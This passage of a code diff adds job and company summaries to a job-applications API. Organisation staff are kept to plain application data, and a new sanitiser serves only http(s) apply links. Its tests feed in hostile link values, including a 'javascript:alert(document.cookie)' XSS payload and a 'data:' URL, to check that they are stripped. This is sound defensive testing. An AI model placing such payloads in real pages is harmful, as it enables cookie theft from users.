AppError('IDEMPOTENCY_KEY_REUSED', 'This idempotency key was already used for a different request'); } - const response: ApplicationResponse = { application: toApplication(existingByKey) }; - reply.status(200).send(response); + reply.status(200).send(await ownerView(existingByKey)); return; } - const job = await findActiveJob(deps.db, body.job_id); - if (!job || !job.isActive) { + const job = await findJobSummary(deps.db, body.job_id); + if (!job || !job.is_active) { throw new AppError('JOB_NOT_FOUND', 'Job is unavailable'); } @@ -78,16 +89,14 @@ export function createApplicationRoute(app: FastifyInstance, deps: AppDeps): voi ), ); - const response: ApplicationResponse = { application: toApplication(created) }; - reply.status(201).send(response); + reply.status(201).send(await ownerView(created, job)); } catch (cause) { // Another request from the same user raced us between the checks above // and this insert. Resolve it the same way the checks would have. if (pgErrorCode(cause) === UNIQUE_VIOLATION) { const racedByKey = await findByUserAndIdempotencyKey(deps.db, actor.user_id, idempotencyKey); if (racedByKey) { - const response: ApplicationResponse = { application: toApplication(racedByKey) }; - reply.status(200).send(response); + reply.status(200).send(await ownerView(racedByKey)); return; } const racedByJob = await findByUserAndJob(deps.db, actor.user_id, body.job_id); diff --git a/services/applications/src/http/routes/get-application.ts b/services/applications/src/http/routes/get-application.ts index 9f17aed..284b5b2 100644 --- a/services/applications/src/http/routes/get-application.ts +++ b/services/applications/src/http/routes/get-application.ts @@ -4,7 +4,7 @@ import { getActor, requireAuth } from '@atlas/auth-kit'; import { uuidSchema, type ApplicationResponse } from '@atlas/types'; import { AppError } from '@atlas/utils'; import type { AppDeps } from '../../app.js'; -import { findById, toApplication } from '../../repo/applications.js'; +import { findByIdWithJob, toApplication, toApplicationWithJob } from '../../repo/applications.js'; const paramsSchema = z.object({ id: uuidSchema }); @@ -13,21 +13,25 @@ export function getApplicationRoute(app: FastifyInstance, deps: AppDeps): void { const actor = getActor(request); const { id } = paramsSchema.parse(request.params); - const row = await findById(deps.db, id); - const isOwner = row?.userId === actor.user_id; + const found = await findByIdWithJob(deps.db, id); + const isOwner = found?.application.userId === actor.user_id; const isOrgStaff = - row !== null && + found !== null && (actor.role === 'admin' || actor.role === 'owner') && - row.organizationId !== null && - row.organizationId === actor.organization_id; + found.application.organizationId !== null && + found.application.organizationId === actor.organization_id; // 404, not 403: this endpoint never confirms that an application exists // for a job/user combination the caller isn't entitled to see. - if (!row || !(isOwner || isOrgStaff)) { + if (!found || !(isOwner || isOrgStaff)) { throw new AppError('NOT_FOUND', 'Application not found'); } - const response: ApplicationResponse = { application: toApplication(row) }; + // The owner gets the job context. Org staff who are not the owner get the + // plain application — no job or employer fields (see list-applications). + const response: ApplicationResponse = { + application: isOwner ? toApplicationWithJob(found.application, found.job) : toApplication(found.application), + }; reply.status(200).send(response); }); } diff --git a/services/applications/src/http/routes/list-applications.ts b/services/applications/src/http/routes/list-applications.ts index 364c4c9..682fc1a 100644 --- a/services/applications/src/http/routes/list-applications.ts +++ b/services/applications/src/http/routes/list-applications.ts @@ -4,7 +4,7 @@ import { getActor, requireAuth } from '@atlas/auth-kit'; import { listApplicationsQuerySchema, type ListApplicationsResponse } from '@atlas/types'; import { AppError } from '@atlas/utils'; import type { AppDeps } from '../../app.js'; -import { listForOrganization, listForUser, toApplication } from '../../repo/applications.js'; +import { listForOrganization, listForUser, toApplication, toApplicationWithJob } from '../../repo/applications.js'; const scopeSchema = z.enum(['mine', 'organization']).default('mine'); @@ -14,7 +14,7 @@ export function listApplicationsRoute(app: FastifyInstance, deps: AppDeps): void const query = listApplicationsQuerySchema.parse(request.query); const scope = scopeSchema.parse((request.query as { scope?: string }).scope); - let result; + let response: ListApplicationsResponse; if (scope === 'organization') { // Org-wide visibility for admin/owner staff (apps/admin), not a // per-user default — everyone else keeps seeing only their own. @@ -24,12 +24,21 @@ export function listApplicationsRoute(app: FastifyInstance, deps: AppDeps): void if (!actor.organization_id) { throw new AppError('VALIDATION_ERROR', 'This account is not attached to an organization'); } - result = await listForOrganization(deps.db, actor.organization_id, query); + // Privacy rule for university/enterprise staff: applications counts and + // statuses only — never job titles, employer names or apply links. This + // branch reads and returns plain application rows (`toApplication` has + // no `job` field), even for staff members' own applications; the job + // context below is the owner's `mine` view only. + const result = await listForOrganization(deps.db, actor.organization_id, query); + response = { items: result.items.map(toApplication), next_cursor: result.nextCursor }; } else { - result = await listForUser(deps.db, actor.user_id, query); + const result = await listForUser(deps.db, actor.user_id, query); + response = { + items: result.items.map(({ application, job }) => toApplicationWithJob(application, job)), + next_cursor: result.nextCursor, + }; } - const response: ListApplicationsResponse = { items: result.items.map(toApplication), next_cursor: result.nextCursor }; reply.status(200).send(response); }); } diff --git a/services/applications/src/lib/apply-url.ts b/services/applications/src/lib/apply-url.ts new file mode 100644 index 0000000..7496c9c --- /dev/null +++ b/services/applications/src/lib/apply-url.ts @@ -0,0 +1,25 @@ +/** + * `jobs.apply_url` is connector-supplied text. Jobs-service normalizes it with + * `new URL(...)`, which still accepts `javascript:`, `data:`, `file:` and + * friends — fine for storage, but never for a link the web app will render and + * the user will click. Only http(s) is handed out here; anything else is null. + * + * URLs carrying embedded credentials (`https://trusted.example@evil.example`) + * are dropped too: that shape exists to disguise the real host. The returned + * string is the parsed, canonical `href`, so what was validated is exactly + * what is served. + */ +export function toSafeApplyUrl(raw: string | null | undefined): string | null { + if (!raw) return null; + + let parsed: URL; + try { + parsed = new URL(raw); + } catch { + return null; + } + + if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') return null; + if (parsed.username !== '' || parsed.password !== '') return null; + return parsed.href; +} diff --git a/services/applications/src/repo/applications.ts b/services/applications/src/repo/applications.ts index e411b4e..6262039 100644 --- a/services/applications/src/repo/applications.ts +++ b/services/applications/src/repo/applications.ts @@ -1,9 +1,17 @@ -import { and, desc, eq, lt, or } from 'drizzle-orm'; +import { and, desc, eq, lt, or, type SQL } from 'drizzle-orm'; import { schema, type Database } from '@atlas/db'; -import type { Application, ApplicationMode, ApplicationStatus, PaginationQuery } from '@atlas/types'; +import type { + Application, + ApplicationJobSummary, + ApplicationMode, + ApplicationStatus, + ApplicationWithJob, + PaginationQuery, +} from '@atlas/types'; import { decodeCursor, encodeCursor } from '@atlas/utils'; +import { jobSummaryColumns, toJobSummary } from './lookups.js'; -type ApplicationRow = typeof schema.applications.$inferSelect; +export type ApplicationRow = typeof schema.applications.$inferSelect; export function toApplication(row: ApplicationRow): Application { return { @@ -31,6 +39,33 @@ export async function findById(db: Database, applicationId: string): Promise { + const [row] = await db + .select({ application: schema.applications, job: jobSummaryColumns }) + .from(schema.applications) + .leftJoin(schema.jobs, eq(schema.jobs.jobId, schema.applications.jobId)) + .leftJoin(schema.companies, eq(schema.companies.companyId, schema.jobs.companyId)) + .where(eq(schema.applications.applicationId, applicationId)) + .limit(1); + return row ? { application: row.application, job: toJobSummary(row.job) } : null; +} + export async function findByUserAndJob(db: Database, userId: string, jobId: string): Promise { const [row] = await db .select() @@ -70,15 +105,17 @@ export async function insertApplication(db: Database, input: InsertApplicationIn } export interface ListForUserResult { + items: ApplicationWithJobRow[]; + nextCursor: string | null; +} + +/** Staff pagination result: plain application rows, deliberately without any job context. */ +export interface ListForOrganizationResult { items: ApplicationRow[]; nextCursor: string | null; } -async function listByCondition( - db: Database, - scopeCondition: ReturnType, - pagination: PaginationQuery, -): Promise { +function pageCondition(scopeCondition: SQL, pagination: PaginationQuery): SQL | undefined { const cursorValue = pagination.cursor ? decodeCursor(pagination.cursor) : null; const cursorCreatedAt = typeof cursorValue?.createdAt === 'string' ? cursorValue.createdAt : null; const cursorId = typeof cursorValue?.id === 'string' ? cursorValue.id : null; @@ -94,38 +131,73 @@ async function listByCondition( ); if (tieBreak) conditions.push(tieBreak); } + return and(...conditions); +} - const rows = await db - .select() - .from(schema.applications) - .where(and(...conditions)) - .orderBy(desc(schema.applications.createdAt), desc(schema.applications.applicationId)) - .limit(pagination.limit + 1); - - const hasMore = rows.length > pagination.limit; - const items = hasMore ? rows.slice(0, pagination.limit) : rows; +function toPage( + rows: T[], + limit: number, + applicationOf: (item: T) => ApplicationRow, +): { items: T[]; nextCursor: string | null } { + const hasMore = rows.length > limit; + const items = hasMore ? rows.slice(0, limit) : rows; const last = items[items.length - 1]; + const lastApplication = last === undefined ? null : applicationOf(last); return { items, - nextCursor: hasMore && last ? encodeCursor({ createdAt: last.createdAt, id: last.applicationId }) : null, + nextCursor: + hasMore && lastApplication + ? encodeCursor({ createdAt: lastApplication.createdAt, id: lastApplication.applicationId }) + : null, }; } +/** + * The caller's own applications with job context, in ONE query: a LEFT JOIN on + * the jobs and companies primary keys is 1:1 with `applications`, so the + * ordering, `limit + 1` page detection and cursor all behave exactly as they do + * for the plain table. + */ export async function listForUser( db: Database, userId: string, pagination: PaginationQuery, ): Promise { - return listByCondition(db, eq(schema.applications.userId, userId), pagination); + const rows = await db + .select({ application: schema.applications, job: jobSummaryColumns }) + .from(schema.applications) + .leftJoin(schema.jobs, eq(schema.jobs.jobId, schema.applications.jobId)) + .leftJoin(schema.companies, eq(schema.companies.companyId, schema.jobs.companyId)) + .where(pageCondition(eq(schema.applications.userId, userId), pagination)) + .orderBy(desc(schema.applications.createdAt), desc(schema.applications.applicationId)) + .limit(pagination.limit + 1); + + const page = toPage(rows, pagination.limit, (item) => item.application); + return { + items: page.items.map((item) => ({ application: item.application, job: toJobSummary(item.job) })), + nextCursor: page.nextCursor, + }; } -/** Org-wide view for admin/owner staff (apps/admin) — same pagination contract as `listForUser`. */ +/** + * Org-wide view for admin/owner staff (apps/admin) — same pagination contract + * as `listForUser`, but a plain single-table read. Staff see application + * counts/statuses only (no job or employer names), so no job columns are ever + * selected on this path. + */ export async function listForOrganization( db: Database, organizationId: string, pagination: PaginationQuery, -): Promise { - return listByCondition(db, eq(schema.applications.organizationId, organizationId), pagination); +): Promise { + const rows = await db + .select() + .from(schema.applications) + .where(pageCondition(eq(schema.applications.organizationId, organizationId), pagination)) + .orderBy(desc(schema.applications.createdAt), desc(schema.applications.applicationId)) + .limit(pagination.limit + 1); + + return toPage(rows, pagination.limit, (item) => item); } export interface AppendEventInput { diff --git a/services/applications/src/repo/lookups.ts b/services/applications/src/repo/lookups.ts index e94045a..235a5b5 100644 --- a/services/applications/src/repo/lookups.ts +++ b/services/applications/src/repo/lookups.ts @@ -1,5 +1,7 @@ import { and, eq } from 'drizzle-orm'; import { schema, type Database } from '@atlas/db'; +import type { ApplicationJobSummary, EmploymentType, RemoteType } from '@atlas/types'; +import { toSafeApplyUrl } from '../lib/apply-url.js'; /** * Applications reference a job and a resume owned by jobs-service and @@ -10,18 +12,79 @@ import { schema, type Database } from '@atlas/db'; * synchronous calls for user-triggered reads and this is exactly that. */ -export interface JobSummary { - jobId: string; - isActive: boolean; +/** + * The columns that make up an {@link ApplicationJobSummary}: jobs joined to + * their company. Exactly these and nothing else — `jobs` also holds the + * description (up to 200k chars) and an embedding, which an application list + * must never drag along. Shared by the single-job lookup and the application + * list/get joins so the summary has one definition. + */ +export const jobSummaryColumns = { + jobId: schema.jobs.jobId, + title: schema.jobs.title, + companyId: schema.jobs.companyId, + companyName: schema.companies.name, + location: schema.jobs.location, + remoteType: schema.jobs.remoteType, + employmentType: schema.jobs.employmentType, + applyUrl: schema.jobs.applyUrl, + isActive: schema.jobs.isActive, +}; + +/** + * {@link jobSummaryColumns} as a LEFT JOIN returns them: every field is null + * when the job row, or its company row, is missing. + */ +export interface JobSummaryRow { + jobId: string | null; + title: string | null; + companyId: string | null; + companyName: string | null; + location: string | null; + remoteType: RemoteType | null; + employmentType: EmploymentType | null; + applyUrl: string | null; + isActive: boolean | null; } -export async function findActiveJob(db: Database, jobId: string): Promise { +/** + * Null-safe: a job summary needs both the job and its company, so a missing + * row on either side of the join yields null rather than a half-empty object. + */ +export function toJobSummary(row: JobSummaryRow): ApplicationJobSummary | null { + if ( + row.jobId === null || + row.title === null || + row.companyId === null || + row.companyName === null || + row.remoteType === null || + row.employmentType === null || + row.isActive === null + ) { + return null; + } + return { + job_id: row.jobId, + title: row.title, + company_id: row.companyId, + company_name: row.companyName, + location: row.location, + remote_type: row.remoteType, + employment_type: row.employmentType, + apply_url: toSafeApplyUrl(row.applyUrl), + is_active: row.isActive, + }; +} + +/** One job with its company, or null when either row is missing. Includes inactive jobs — callers decide. */ +export async function findJobSummary(db: Database, jobId: string): Promise { const [row] = await db - .select({ jobId: schema.jobs.jobId, isActive: schema.jobs.isActive }) + .select(jobSummaryColumns) .from(schema.jobs) + .innerJoin(schema.companies, eq(schema.companies.companyId, schema.jobs.companyId)) .where(eq(schema.jobs.jobId, jobId)) .limit(1); - return row ?? null; + return row ? toJobSummary(row) : null; } export async function findParsedResumeOwnedBy( diff --git a/services/applications/test/applications-job-context.test.ts b/services/applications/test/applications-job-context.test.ts new file mode 100644 index 0000000..d97fe5d --- /dev/null +++ b/services/applications/test/applications-job-context.test.ts @@ -0,0 +1,648 @@ +import { randomUUID } from 'node:crypto'; +import { eq, inArray } from 'drizzle-orm'; +import { drizzle } from 'drizzle-orm/postgres-js'; +import { exportJWK, generateKeyPair, SignJWT } from 'jose'; +import type { FastifyInstance } from 'fastify'; +import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createBroker } from '@atlas/messaging'; +import { createDatabase, schema, type DatabaseHandle } from '@atlas/db'; +import { applicationJobSummarySchema, applicationSchema, type ApplicationJobSummary } from '@atlas/types'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadApplicationsServiceEnv } from '../src/env.js'; + +// DB-backed tests self-skip when ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +const SUPABASE_URL = 'https://test-project.supabase.co'; + +/** Exactly the fields `applicationSchema` defines — what org staff are allowed to see, and nothing more. */ +const APPLICATION_KEYS = Object.keys(applicationSchema.shape).sort(); + +interface Claims { + sub: string; + sid: string; + org: string | null; + role: string | null; + email: string; +} + +let signTestToken: (claims: Claims) => Promise; + +// createRemoteJWKSet fetches over HTTP — stub it to serve a locally +// generated key instead of hitting a real Supabase project. +async function stubJwks(): Promise { + const { publicKey, privateKey } = await generateKeyPair('ES256'); + const jwk = await exportJWK(publicKey); + jwk.kid = 'test-key'; + jwk.alg = 'ES256'; + jwk.use = 'sig'; + vi.stubGlobal( + 'fetch', + async () => new Response(JSON.stringify({ keys: [jwk] }), { status: 200, headers: { 'content-type': 'application/json' } }), + ); + + signTestToken = async (claims) => + new SignJWT({ session_id: claims.sid, email: claims.email, app_metadata: { org_id: claims.org, role: claims.role } }) + .setProtectedHeader({ alg: 'ES256', kid: 'test-key' }) + .setSubject(claims.sub) + .setIssuer(`${SUPABASE_URL}/auth/v1`) + .setAudience('authenticated') + .setIssuedAt() + .setExpirationTime(Math.floor(Date.now() / 1000) + 900) + .sign(privateKey); +} + +describe.skipIf(!testDatabaseUrl)('applications-service job context', () => { + let app: FastifyInstance; + let dbHandle: DatabaseHandle; + // Every query the HTTP layer issues lands here, so tests can prove "one join, no N+1". + const queries: string[] = []; + let canBypassForeignKeys = false; + + const userIds: string[] = []; + const companyIds: string[] = []; + const organizationIds: string[] = []; + + async function seedUser(label: string): Promise<{ id: string; email: string }> { + const id = randomUUID(); + const email = `job-context-${label}-${id}@example.com`; + // public.users.user_id FKs to auth.users.id; inserting into auth.users fires + // handle_new_user, which creates the matching public.users row itself. + await dbHandle.sql` + insert into auth.users (id, instance_id, aud, role, email, email_confirmed_at, raw_app_meta_data, raw_user_meta_data, created_at, updated_at) + values (${id}, '00000000-0000-0000-0000-000000000000', 'authenticated', 'authenticated', ${email}, now(), '{"provider":"email"}'::jsonb, ${JSON.stringify({ full_name: `Job Context ${label}` })}::jsonb, now(), now()) + `; + userIds.push(id); + return { id, email }; + } + + async function seedResume(userId: string): Promise { + const [resume] = await dbHandle.db + .insert(schema.resumes) + .values({ + userId, + storageUrl: `resumes/${userId}/seed`, + originalFilename: 'resume.txt', + contentType: 'text/plain', + byteSize: 10, + contentHash: randomUUID(), + status: 'parsed', + }) + .returning(); + return resume!.resumeId; + } + + async function seedCompany(name = `Job Context Co ${randomUUID().slice(0, 8)}`): Promise<{ companyId: string; name: string }> { + const [company] = await dbHandle.db + .insert(schema.companies) + .values({ name, normalizedName: `${name.toLowerCase()} ${randomUUID()}` }) + .returning(); + companyIds.push(company!.companyId); + return { companyId: company!.companyId, name }; + } + + async function seedJob( + companyId: string, + overrides: Partial = {}, + ): Promise { + const [job] = await dbHandle.db + .insert(schema.jobs) + .values({ + companyId, + title: 'Backend Engineer', + source: 'manual', + jobHash: randomUUID().replace(/-/g, '').padEnd(64, '0'), + isActive: true, + ...overrides, + }) + .returning(); + return job!; + } + + async function seedApplication( + userId: string, + jobId: string, + resumeId: string, + overrides: Partial = {}, + ): Promise { + const [row] = await dbHandle.db + .insert(schema.applications) + .values({ userId, jobId, resumeId, mode: 'manual', status: 'draft', idempotencyKey: `idem-${randomUUID()}`, ...overrides }) + .returning(); + return row!; + } + + function auth(token: string): { authorization: string } { + return { authorization: `Bearer ${token}` }; + } + + /** Deletes a parent row WITHOUT firing the FK cascade, leaving the child dangling (superuser-only). */ + async function deleteWithoutCascade(table: 'companies' | 'jobs', column: 'company_id' | 'job_id', id: string): Promise { + await dbHandle.sql.begin(async (tx) => { + await tx`set local session_replication_role = replica`; + await tx`delete from ${tx(table)} where ${tx(column)} = ${id}`; + }); + } + + beforeAll(async () => { + await stubJwks(); + const env = loadApplicationsServiceEnv({ DATABASE_URL: testDatabaseUrl, PORT: '4005', SUPABASE_URL }); + dbHandle = createDatabase({ url: env.DATABASE_URL }); + const countingDb = drizzle(dbHandle.sql, { + schema, + logger: { + logQuery: (query) => { + queries.push(query); + }, + }, + }); + app = buildApp({ + db: countingDb, + sql: dbHandle.sql, + env, + logger: createSilentLogger(), + broker: createBroker({ driver: 'memory', logger: createSilentLogger() }), + tokenVerifier: createTokenVerifierConfig(env), + }); + await app.ready(); + + const [role] = await dbHandle.sql`select rolsuper from pg_roles where rolname = current_user`; + canBypassForeignKeys = role?.rolsuper === true; + }); + + afterAll(async () => { + if (userIds.length > 0) await dbHandle.db.delete(schema.applications).where(inArray(schema.applications.userId, userIds)); + if (companyIds.length > 0) { + await dbHandle.db.delete(schema.jobs).where(inArray(schema.jobs.companyId, companyIds)); + await dbHandle.db.delete(schema.companies).where(inArray(schema.companies.companyId, companyIds)); + } + if (userIds.length > 0) await dbHandle.db.delete(schema.resumes).where(inArray(schema.resumes.userId, userIds)); + if (organizationIds.length > 0) { + await dbHandle.db.delete(schema.organizations).where(inArray(schema.organizations.organizationId, organizationIds)); + } + // Cascades to public.users via the auth.users FK. + if (userIds.length > 0) await dbHandle.sql`delete from auth.users where id in ${dbHandle.sql(userIds)}`; + await app.close(); + await dbHandle.close(); + }); + + describe('create / get / list carry the job for the owner', () => { + let ownerToken: string; + let strangerToken: string; + let ownerId: string; + let resumeId: string; + let company: { companyId: string; name: string }; + let job: typeof schema.jobs.$inferSelect; + let expectedJob: ApplicationJobSummary; + let applicationId: string; + + beforeAll(async () => { + const owner = await seedUser('owner'); + const stranger = await seedUser('stranger'); + ownerId = owner.id; + resumeId = await seedResume(owner.id); + company = await seedCompany(); + job = await seedJob(company.companyId, { + title: 'Staff Platform Engineer', + location: 'Lisbon, Portugal', + remoteType: 'hybrid', + employmentType: 'full_time', + applyUrl: 'https://careers.jobctx.example/apply/123', + }); + expectedJob = { + job_id: job.jobId, + title: 'Staff Platform Engineer', + company_id: company.companyId, + company_name: company.name, + location: 'Lisbon, Portugal', + remote_type: 'hybrid', + employment_type: 'full_time', + apply_url: 'https://careers.jobctx.example/apply/123', + is_active: true, + }; + ownerToken = await signTestToken({ sub: owner.id, sid: randomUUID(), org: null, role: null, email: owner.email }); + strangerToken = await signTestToken({ sub: stranger.id, sid: randomUUID(), org: null, role: null, email: stranger.email }); + }); + + it('returns the job summary on create (default mode)', async () => { + const res = await app.inject({ + method: 'POST', + url: '/v1/applications', + headers: { ...auth(ownerToken), 'idempotency-key': 'job-ctx-create-1' }, + payload: { job_id: job.jobId, resume_id: resumeId }, + }); + expect(res.statusCode).toBe(201); + const { application } = res.json(); + expect(application).toMatchObject({ job_id: job.jobId, user_id: ownerId, status: 'draft', mode: 'manual' }); + expect(application.job).toEqual(expectedJob); + expect(applicationJobSummarySchema.safeParse(application.job).success).toBe(true); + applicationId = application.application_id; + }); + + it('returns the same job summary when the create is replayed with the same idempotency key', async () => { + const res = await app.inject({ + method: 'POST', + url: '/v1/applications', + headers: { ...auth(ownerToken), 'idempotency-key': 'job-ctx-create-1' }, + payload: { job_id: job.jobId, resume_id: resumeId }, + }); + expect(res.statusCode).toBe(200); + expect(res.json().application.application_id).toBe(applicationId); + expect(res.json().application.job).toEqual(expectedJob); + }); + + it('accepts mode "review" as an editable draft, with its job', async () => { + const reviewJob = await seedJob(company.companyId, { title: 'Review Mode Role' }); + const res = await app.inject({ + method: 'POST', + url: '/v1/applications', + headers: { ...auth(ownerToken), 'idempotency-key': 'job-ctx-create-review' }, + payload: { job_id: reviewJob.jobId, resume_id: resumeId, mode: 'review' }, + }); + expect(res.statusCode).toBe(201); + expect(res.json().application).toMatchObject({ mode: 'review', status: 'draft' }); + expect(res.json().application.job).toMatchObject({ job_id: reviewJob.jobId, title: 'Review Mode Role' }); + }); + + it('returns the job summary on GET /v1/applications/:id with a single query', async () => { + queries.length = 0; + const res = await app.inject({ method: 'GET', url: `/v1/applications/${applicationId}`, headers: auth(ownerToken) }); + expect(res.statusCode).toBe(200); + expect(res.json().application.job).toEqual(expectedJob); + expect(res.json().application.job.title).toBe('Staff Platform Engineer'); + expect(res.json().application.job.company_name).toBe(company.name); + expect(queries).toHaveLength(1); + }); + + it('returns the job on every item of GET /v1/applications with a single query', async () => { + queries.length = 0; + const res = await app.inject({ method: 'GET', url: '/v1/applications', headers: auth(ownerToken) }); + expect(res.statusCode).toBe(200); + + const items = res.json().items as Array<{ application_id: string; job: ApplicationJobSummary | null }>; + expect(items.length).toBeGreaterThanOrEqual(2); + for (const item of items) { + expect(item.job).not.toBeNull(); + expect(applicationJobSummarySchema.safeParse(item.job).success).toBe(true); + } + expect(items.find((i) => i.application_id === applicationId)?.job).toEqual(expectedJob); + + // One join, not one lookup per row — and nothing heavy dragged along from `jobs`. + expect(queries).toHaveLength(1); + expect(queries[0]).not.toMatch(/"description"|"embedding"/); + }); + + it("still 404s when another user fetches, lists or updates someone else's application", async () => { + const get = await app.inject({ method: 'GET', url: `/v1/applications/${applicationId}`, headers: auth(strangerToken) }); + expect(get.statusCode).toBe(404); + expect(JSON.stringify(get.json())).not.toContain(company.name); + + const event = await app.inject({ + method: 'POST', + url: `/v1/applications/${applicationId}/events`, + headers: auth(strangerToken), + payload: { to_status: 'submitted' }, + }); + expect(event.statusCode).toBe(404); + + const list = await app.inject({ method: 'GET', url: '/v1/applications', headers: auth(strangerToken) }); + expect(list.statusCode).toBe(200); + expect(list.json().items).toEqual([]); + }); + + it('404s on an unknown application id', async () => { + const res = await app.inject({ method: 'GET', url: `/v1/applications/${randomUUID()}`, headers: auth(ownerToken) }); + expect(res.statusCode).toBe(404); + }); + }); + + describe('job summary details', () => { + let token: string; + let userId: string; + const titles = { + unsafe: 'Unsafe Link Role', + data: 'Data Link Role', + garbage: 'Garbage Link Role', + none: 'No Link Role', + inactive: 'Inactive Role', + bare: 'Bare Minimum Role', + }; + + beforeAll(async () => { + const user = await seedUser('details'); + userId = user.id; + token = await signTestToken({ sub: user.id, sid: randomUUID(), org: null, role: null, email: user.email }); + const resumeId = await seedResume(user.id); + const company = await seedCompany(); + const rows: Array> = [ + { title: titles.unsafe, applyUrl: 'javascript:alert(document.cookie)' }, + { title: titles.data, applyUrl: 'data:text/html,' }, + { title: titles.garbage, applyUrl: 'not a url at all' }, + { title: titles.none, applyUrl: null }, + // An application outlives its job being deactivated; the owner still sees it, flagged. + { title: titles.inactive, isActive: false, applyUrl: 'https://careers.jobctx.example/closed' }, + { title: titles.bare, location: null, applyUrl: null }, + ]; + for (const overrides of rows) { + const job = await seedJob(company.companyId, overrides); + await seedApplication(user.id, job.jobId, resumeId); + } + }); + + async function jobsByTitle(): Promise> { + const res = await app.inject({ method: 'GET', url: '/v1/applications?limit=50', headers: auth(token) }); + expect(res.statusCode).toBe(200); + const items = res.json().items as Array<{ user_id: string; job: ApplicationJobSummary | null }>; + expect(items.every((i) => i.user_id === userId)).toBe(true); + return Object.fromEntries(items.map((i) => [i.job?.title ?? 'null', i.job])); + } + + it('only ever serves http(s) apply links; anything else becomes null', async () => { + const byTitle = await jobsByTitle(); + expect(byTitle[titles.unsafe]?.apply_url).toBeNull(); + expect(byTitle[titles.data]?.apply_url).toBeNull(); + expect(byTitle[titles.garbage]?.apply_url).toBeNull(); + expect(byTitle[titles.none]?.apply_url).toBeNull(); + expect(byTitle[titles.inactive]?.apply_url).toBe('https://careers.jobctx.example/closed'); + }); + + it('keeps an application whose job was deactivated, flagged is_active=false', async () => { + const byTitle = await jobsByTitle(); + expect(byTitle[titles.inactive]?.is_active).toBe(false); + }); + + it('serves a job without a location as location=null and a valid summary', async () => { + const byTitle = await jobsByTitle(); + expect(byTitle[titles.bare]).toMatchObject({ location: null, remote_type: 'unknown', employment_type: 'unknown', is_active: true }); + }); + }); + + describe('null-safety when the job or its company is gone', () => { + let token: string; + let userId: string; + let resumeId: string; + + beforeAll(async () => { + const user = await seedUser('dangling'); + userId = user.id; + token = await signTestToken({ sub: user.id, sid: randomUUID(), org: null, role: null, email: user.email }); + resumeId = await seedResume(user.id); + }); + + it('returns job: null (and every other field intact) when the company row is gone', async (ctx) => { + if (!canBypassForeignKeys) ctx.skip(); + + // Foreign keys cascade, so a dangling row can only be produced by deleting the parent without firing them. + // A dedicated, inactive job keeps the window in which it exists tiny and invisible to other suites. + const company = await seedCompany(); + const job = await seedJob(company.companyId, { title: 'Orphaned By Company', isActive: false }); + const application = await seedApplication(userId, job.jobId, resumeId); + + try { + const before = await app.inject({ method: 'GET', url: `/v1/applications/${application.applicationId}`, headers: auth(token) }); + expect(before.json().application.job).toMatchObject({ title: 'Orphaned By Company', company_name: company.name }); + + await deleteWithoutCascade('companies', 'company_id', company.companyId); + + const get = await app.inject({ method: 'GET', url: `/v1/applications/${application.applicationId}`, headers: auth(token) }); + expect(get.statusCode).toBe(200); + expect(get.json().application).toMatchObject({ application_id: application.applicationId, job_id: job.jobId, status: 'draft' }); + expect(get.json().application).toHaveProperty('job', null); + + const list = await app.inject({ method: 'GET', url: '/v1/applications', headers: auth(token) }); + expect(list.statusCode).toBe(200); + const item = (list.json().items as Array<{ application_id: string }>).find((i) => i.application_id === application.applicationId); + expect(item).toHaveProperty('job', null); + } finally { + await dbHandle.db.delete(schema.applications).where(eq(schema.applications.applicationId, application.applicationId)); + await dbHandle.db.delete(schema.jobs).where(eq(schema.jobs.jobId, job.jobId)); + } + }); + + it('returns job: null when the job row itself is gone', async (ctx) => { + if (!canBypassForeignKeys) ctx.skip(); + + const company = await seedCompany(); + const job = await seedJob(company.companyId, { title: 'Orphaned By Job', isActive: false }); + const application = await seedApplication(userId, job.jobId, resumeId); + + try { + await deleteWithoutCascade('jobs', 'job_id', job.jobId); + + const get = await app.inject({ method: 'GET', url: `/v1/applications/${application.applicationId}`, headers: auth(token) }); + expect(get.statusCode).toBe(200); + expect(get.json().application).toMatchObject({ application_id: application.applicationId, job_id: job.jobId }); + expect(get.json().application).toHaveProperty('job', null); + + const list = await app.inject({ method: 'GET', url: '/v1/applications', headers: auth(token) }); + const item = (list.json().items as Array<{ application_id: string }>).find((i) => i.application_id === application.applicationId); + expect(item).toHaveProperty('job', null); + } finally { + await dbHandle.db.delete(schema.applications).where(eq(schema.applications.applicationId, application.applicationId)); + } + }); + }); + + describe('pagination keeps order and job context across pages', () => { + let token: string; + const expected: Array<{ applicationId: string; createdAt: string; title: string }> = []; + + beforeAll(async () => { + const user = await seedUser('pager'); + token = await signTestToken({ sub: user.id, sid: randomUUID(), org: null, role: null, email: user.email }); + const resumeId = await seedResume(user.id); + const company = await seedCompany(); + + // Two applications share a timestamp so the (created_at, id) tie-break is + // exercised exactly where a page boundary falls (positions 2 and 3). + const base = Date.now() - 60_000; + const stamps = [4, 3, 3, 1, 0].map((s) => new Date(base + s * 1000).toISOString()); + for (const [i, createdAt] of stamps.entries()) { + const title = `Paged Role ${i}`; + const job = await seedJob(company.companyId, { title, applyUrl: `https://careers.jobctx.example/paged/${i}` }); + const row = await seedApplication(user.id, job.jobId, resumeId, { createdAt }); + expected.push({ applicationId: row.applicationId, createdAt, title }); + } + expected.sort((a, b) => { + const byTime = Date.parse(b.createdAt) - Date.parse(a.createdAt); + if (byTime !== 0) return byTime; + return a.applicationId < b.applicationId ? 1 : -1; // id DESC, matching the query's ORDER BY + }); + }); + + it('walks 5 applications in 3 pages, in a stable order, with a job on every item', async () => { + const seen: string[] = []; + const pageSizes: number[] = []; + let cursor: string | null = null; + + for (let page = 0; page < 5; page += 1) { + queries.length = 0; + const url: string = cursor ? `/v1/applications?limit=2&cursor=${encodeURIComponent(cursor)}` : '/v1/applications?limit=2'; + const res = await app.inject({ method: 'GET', url, headers: auth(token) }); + expect(res.statusCode).toBe(200); + expect(queries).toHaveLength(1); + + const body = res.json() as { items: Array<{ application_id: string; job: ApplicationJobSummary | null }>; next_cursor: string | null }; + pageSizes.push(body.items.length); + for (const item of body.items) { + const want = expected.find((e) => e.applicationId === item.application_id); + expect(want).toBeDefined(); + expect(item.job).not.toBeNull(); + expect(item.job?.title).toBe(want?.title); + expect(item.job?.apply_url).toMatch(/^https:\/\/careers\.jobctx\.example\/paged\/\d$/); + 